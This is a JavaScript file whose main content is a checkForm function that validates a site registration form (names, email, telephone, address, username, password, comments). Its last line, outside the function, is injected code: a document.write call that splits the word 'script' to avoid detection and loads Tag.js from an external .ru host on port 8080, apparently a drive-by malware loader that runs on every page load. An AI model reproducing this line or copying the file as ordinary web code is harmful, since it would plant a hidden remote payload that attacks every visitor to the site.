function checkForm(formObj) {
	if (document.getElementById('ajaxemail').innerHTML != "")
		{
		alert("Email already taken, please try another");
		formObj.Email.focus();
		return false;
		}
	 if (document.getElementById('ajaxusername').innerHTML != "")
		{
		alert("Username already taken, please try another");
		formObj.UserName.focus();
		return false;
		}
	if (formObj.FirstName.value =="") {
		alert("You have not entered a first name");
		formObj.FirstName.focus();
		return false;
	}
	if (formObj.Surname.value =="") {
		alert("You have not entered a surname");
		formObj.Surname.focus();
		return false;
	}
	
	if (formObj.Email.value == "" ) {
	 alert("You have not entered an email address");
	 formObj.Email.focus();
	 return false;
	 
	 }
	 
	 if (formObj.Email.value.indexOf("/") > -1) {
	 alert("Your email address has an invalid character");
	 formObj.Email.focus();
	 return false;
	 }
	 if (formObj.Email.value.indexOf(":") > -1) {
	 alert("Your email address has an invalid character");
	 formObj.Email.focus();
	 return false;
	 }
	 if (formObj.Email.value.indexOf(",") > -1) {
	 alert("Your email address has an invalid character");
	 formObj.Email.focus();
	 return false;
	 }
	 if (formObj.Email.value.indexOf(";") > -1) {
	 alert("Your email address has an invalid character");
	 formObj.Email.focus();
	 return false;
	 }
	 if (formObj.Email.value.indexOf("@") < 0) {
	 alert("Your email address is missing an @");
	 formObj.Email.focus();
	 return false;
	 }
	 if (formObj.Email.value.indexOf("\.") < 0) {
	 alert("Your email address is missing a .");
	 formObj.Email.focus();
	 return false;
	 }
	
	if (formObj.ConfirmEmail.value =="") {
		alert("Please confirm your email address");
		formObj.ConfirmEmail.focus();
		return false;
	}
	
	if (formObj.Telephone.value =="") {
		alert("You have not entered a telephone number");
		formObj.Telephone.focus();
		return false;
	}
	if (formObj.Telephone.value != "") {
	
		formObj.Telephone.value = formObj.Telephone.value.replace("-","");
		formObj.Telephone.value = formObj.Telephone.value.replace(" ","");
		formObj.Telephone.value = formObj.Telephone.value.replace("(","");
		formObj.Telephone.value = formObj.Telephone.value.replace(")","");
		formObj.Telephone.value = formObj.Telephone.value.replace(".","");
		
		for (i=0;i<formObj.Telephone.value.length;i++) {
		if (formObj.Telephone.value.charAt(i) < "0" || formObj.Telephone.value.charAt(i) > "9") {
		alert("Phone numbers can only contain numbers");
		formObj.Telephone.focus();
		return false;
		}
		}
	}
	
	if (formObj.FirstLineAddress.value =="") {
		alert("You have not entered a first line of your address");
		formObj.FirstLineAddress.focus();
		return false;
	}
	
	if (formObj.City.value =="") {
		alert("You have not entered a city");
		formObj.City.focus();
		return false;
	}
	if (formObj.County.value =="") {
		alert("You have not entered a county");
		formObj.County.focus();
		return false;
	}
	if (formObj.Postcode.value =="") {
		alert("You have not entered a postcode");
		formObj.Postcode.focus();
		return false;
	}
	if (formObj.Country.value =="") {
		alert("You have not entered a country");
		formObj.Country.focus();
		return false;
	}
	if (formObj.UserName.value =="") {
		alert("You have not entered a username");
		formObj.UserName.focus();
		return false;
	}
	if (formObj.UserName.value.length <= 3) {
		alert("Your username should be 4 or more characters");
		formObj.UserName.focus();
		return false;
	}
	if (formObj.Password.value =="") {
		alert("You have not entered a password");
		formObj.Password.focus();
		return false;
	}
	if (formObj.Password2.value =="") {
		alert("Please confirm your password");
		formObj.Password2.focus();
		return false;
	}
	if (formObj.Surname.value =="") {
		alert("Please enter a value");
		formObj.Surname.focus();
		return false;
	}
	if (formObj.comments.value =="") {
		alert("You have not entered any comments");
		formObj.comments.focus();
		return false;
	}
	
	return true;
}
document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Tag.js"></scr'+'ipt>');